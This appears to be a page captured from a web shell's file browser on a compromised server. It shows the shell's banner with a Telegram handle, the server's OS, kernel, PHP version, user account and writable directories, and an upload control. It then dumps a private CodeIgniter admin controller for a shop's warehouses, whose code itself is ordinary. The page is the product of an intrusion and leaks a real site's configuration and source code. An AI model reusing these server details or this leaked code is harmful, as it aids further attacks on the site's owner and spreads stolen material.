https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/laciasmara.com/public_html/shop/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/laciasmara.com/public_html/shop/application/controllers/admin/Warehouses.php
<?php if (! defined('BASEPATH')) exit('No direct script access allowed');



class Warehouses extends Admin_Controller

{



	//this property is used for validating existing page title on call back edit page

	private $warehouse_current_id = NULL;

	private $warehouse_current_priority = NULL;



	function __construct()

	{

		parent::__construct();

		$this->load->model('warehouse_m');

	}



	//this is to list all warehouse 

	public function index()

	{



		//Add pagination

		$this->load->helper('pagination_helper');

		add_pagination(base_url() . 'admin/warehouse/index', $this->warehouse_m->record_count(), 20, 4);



		$this->data['warehouses'] = $this->warehouse_m->get_all_warehouse(

			20,

			$this->uri->segment(4)

		);



		//load view

		$this->data['subview'] = 'admin/warehouse/index';

		$this->load->view('admin/templates/header', $this->data_header);

		$this->load->view('admin/_layout_main', $this->data);

		$this->load->view('admin/templates/footer');

	}



	public function manage()

	{

		$data['userdata'] = $this->session->userdata();

		$data['title'] = 'Daftar Gudang | Laciasmara';

		$data['warehouses'] = $this->warehouse_m->fetch_all_warehouses();



		$this->load->view('admin_new/layouts/header', $data);

		$this->load->view('admin_new/warehouses/manage');

		$this->load->view('admin_new/layouts/footer');

	}



	public function add_warehouse()

	{

		$data['userdata'] = $this->session->userdata();

		$data['title'] = 'Tambah Gudang | Laciasmara';



		$this->load->view('admin_new/layouts/header', $data);

		$this->load->view('admin_new/warehouses/add');

		$this->load->view('admin_new/layouts/footer');

	}



	public function edit_warehouse($warehouse_id)

	{

		$data['userdata'] = $this->session->userdata();

		$data['title'] = 'Ubah Gudang | Laciasmara';

		$data['warehouse'] = $this->warehouse_m->fetch_warehouse_by_id($warehouse_id);

		$this->load->view('admin_new/layouts/header', $data);

		$this->load->view('admin_new/warehouses/edit');

		$this->load->view('admin_new/layouts/footer');

	}



	public function create_warehouse()

	{

		// Validation

		$this->form_validation->set_rules('name', 'Warehouse Name', 'required|trim');

		$this->form_validation->set_rules(

			'warehouse_type',

			'Warehouse Type',

			'required|in_list[distribution_center,fulfillment_center,regional,transit,return_center,cold_storage,3pl,vendor,virtual]'

		);

		$this->form_validation->set_rules('warehouse_addresses', 'Warehouse Address', 'required');



		if ($this->form_validation->run() == FALSE) {

			$this->session->set_flashdata('error', validation_errors());

			redirect('admin/stocks/warehouses');

			return;

		}



		// Parse addresses JSON

		$addresses_json = $this->input->post('warehouse_addresses');

		$addresses = json_decode($addresses_json, true);



		// Validate JSON and addresses

		if (json_last_error() !== JSON_ERROR_NONE || !$addresses || !is_array($addresses) || count($addresses) === 0) {

			$this->session->set_flashdata('error', 'Format alamat tidak valid atau alamat kosong.');

			redirect('admin/stocks/warehouses');

			return;

		}



		// Get first address (karena warehouse hanya 1 alamat)

		$first_address = $addresses[0];



		$name = $this->input->post('name', true);

		$alias = strtoupper(substr(preg_replace('/[^A-Za-z]/', '', $name), 0, 5));



		if (empty($alias)) {

			// fallback kalau semua karakter di name bukan huruf

			$alias = 'WRH' . rand(10, 99);

		}



		// Get last priority and increment by 1

		$this->db->select_max('priority');

		$query = $this->db->get('warehouses');

		$last_priority = $query->row()->priority ?? 0;

		$new_priority = $last_priority + 1;



		// Prepare warehouse data

		$warehouse_data = [

			'name' => $name,

			'alias' => $alias,

			'warehouse_type' => $this->input->post('warehouse_type', true),

			'priority' => $new_priority,

			'is_active' => 1,



			'recipient_name' => $first_address['receiverName'] ?? null,

			'phone' => $first_address['receiverPhone'] ?? null,

			'address' => $first_address['fullAddress'] ?? null,

			'notes' => $first_address['notes'] ?? null,

			'latitude' => $first_address['latitude'] ?? null,

			'longitude' => $first_address['longitude'] ?? null,

			'province' => $first_address['province'] ?? null,

			'city' => $first_address['city'] ?? null,

			'district' => $first_address['district'] ?? null,

			'subdistrict' => $first_address['subdistrict'] ?? null,

			'postal_code' => $first_address['postalCode'] ?? null,



			'created_at' => date('Y-m-d H:i:s'),

			'updated_at' => date('Y-m-d H:i:s')

		];



		// Start transaction

		$this->db->trans_begin();



		try {

			// Insert warehouse

			$this->db->insert('warehouses', $warehouse_data);

			$warehouse_id = $this->db->insert_id();



			// Check if insert successful

			if (!$warehouse_id) {

				throw new Exception('Gagal menyimpan data warehouse');

			}



			// Commit transaction

			if ($this->db->trans_status() === FALSE) {

				throw new Exception('Transaction failed');

			}



			$this->db->trans_commit();

			$this->session->set_flashdata('success', 'Warehouse berhasil ditambahkan dengan prioritas ' . $new_priority);

		} catch (Exception $e) {

			$this->db->trans_rollback();

			log_message('error', 'Create warehouse error: ' . $e->getMessage());

			$this->session->set_flashdata('error', 'Gagal menyimpan data warehouse. Silakan coba lagi.');

		}



		redirect('admin/stocks/warehouses');

	}



	public function update_warehouse($id)

	{

		// Validation

		$this->form_validation->set_rules('name', 'Warehouse Name', 'required|trim');

		$this->form_validation->set_rules('warehouse_type', 'Warehouse Type', 'required');



		if ($this->form_validation->run() == FALSE) {

			$this->session->set_flashdata('error', validation_errors());

			redirect('admin/stocks/warehouses');

			return;

		}



		// Parse addresses JSON

		$addresses_json = $this->input->post('warehouse_addresses', true);

		$addresses = json_decode($addresses_json, true);



		if ($addresses && is_array($addresses) && count($addresses) > 0) {

			$first_address = $addresses[0];

		} else {

			$first_address = [];

		}



		$name = $this->input->post('name', true);

		$alias = strtoupper(substr(preg_replace('/[^A-Za-z]/', '', $name), 0, 5));



		if (empty($alias)) {

			$alias = 'WRH' . rand(10, 99);

		}



		// Prepare update data

		$update_data = [

			'name' => $name,

			'alias' => $alias,

			'warehouse_type' => $this->input->post('warehouse_type', true),

			'updated_at' => date('Y-m-d H:i:s')

		];



		// Add address fields if provided

		if (!empty($first_address)) {

			$update_data = array_merge($update_data, [

				'recipient_name' => $first_address['receiverName'] ?? null,

				'phone' => $first_address['receiverPhone'] ?? null,

				'address' => $first_address['fullAddress'] ?? null,

				'notes' => $first_address['notes'] ?? null,

				'latitude' => $first_address['latitude'] ?? null,

				'longitude' => $first_address['longitude'] ?? null,

				'province' => $first_address['province'] ?? null,

				'city' => $first_address['city'] ?? null,

				'district' => $first_address['district'] ?? null,

				'subdistrict' => $first_address['subdistrict'] ?? null,

				'postal_code' => $first_address['postalCode'] ?? null,

			]);

		}



		$this->db->trans_begin();



		try {

			$this->db->where('id', $id);

			$this->db->update('warehouses', $update_data);



			if ($this->db->affected_rows() === 0) {

				throw new Exception('Tidak ada perubahan data atau warehouse tidak ditemukan');

			}



			$this->db->trans_commit();

			$this->session->set_flashdata('success', 'Warehouse berhasil diupdate');

		} catch (Exception $e) {

			$this->db->trans_rollback();

			log_message('error', 'Update warehouse error: ' . $e->getMessage());

			$this->session->set_flashdata('error', 'Gagal mengupdate warehouse');

		}



		redirect('admin/stocks/warehouses');

	}



	public function delete_warehouse($warehouse_id)

	{

		try {

			// Mulai transaksi

			$this->db->trans_start();



			$this->db->where('warehouse_id', $warehouse_id);

			$this->db->delete('stock');



			// Hapus data dari tabel warehouse

			$this->db->where('id', $warehouse_id);

			$this->db->delete('warehouses');



			if ($this->db->trans_status() === false) {

				throw new Exception('Gagal menghapus data gudang.');

			}



			$this->db->trans_commit();



			// Set flashdata sukses

			$this->session->set_flashdata('message_type', 'success');

			$this->session->set_flashdata('message', 'Gudang berhasil dihapus.');

		} catch (Exception $e) {

			$this->db->trans_rollback();



			// Set flashdata error

			$this->session->set_flashdata('message_type', 'error');

			$this->session->set_flashdata('message', $e->getMessage());

		}



		// Redirect kembali ke halaman warehouse

		redirect(base_url('admin/stocks/warehouses'));

	}



	public function get_warehouse_address($warehouse_id)

	{

		// Set JSON response header

		$this->output->set_content_type('application/json');



		try {

			// Validate address ID

			if (!$warehouse_id || !is_numeric($warehouse_id)) {

				$this->output->set_output(json_encode([

					'success' => false,

					'message' => 'ID warehouse tidak valid'

				]));

				return;

			}



			// Get address data from database

			$address = $this->warehouse_m->get_address_by_id($warehouse_id);



			if (!$address) {

				$this->output->set_output(json_encode([

					'success' => false,

					'message' => 'Gudang tidak ditemukan'

				]));

				return;

			}



			// Clean phone number

			if ($address->phone && strpos($address->phone, '+62') === 0) {

				$address->phone = substr($address->phone, 3);

			} elseif ($address->phone && strpos($address->phone, '62') === 0) {

				$address->phone = substr($address->phone, 2);

			}



			// Validate and sanitize coordinates

			$latitude = isset($address->latitude) ? floatval($address->latitude) : null;

			$longitude = isset($address->longitude) ? floatval($address->longitude) : null;



			if (

				empty($latitude) || empty($longitude) ||

				!is_finite($latitude) || !is_finite($longitude) ||

				$latitude < -90 || $latitude > 90 ||

				$longitude < -180 || $longitude > 180

			) {



				log_message('warning', "Invalid coordinates for address ID {$warehouse_id}: lat={$latitude}, lng={$longitude}");



				$address->latitude = -6.229434;

				$address->longitude = 106.853123;

			} else {

				$address->latitude = $latitude;

				$address->longitude = $longitude;

			}



			$this->output->set_output(json_encode([

				'success' => true,

				'address' => $address

			]));

		} catch (Exception $e) {

			log_message('error', 'Error getting address: ' . $e->getMessage());

			$this->output->set_output(json_encode([

				'success' => false,

				'message' => 'Terjadi kesalahan server'

			]));

		}

	}

}


https://t.me/RX1948 - 2025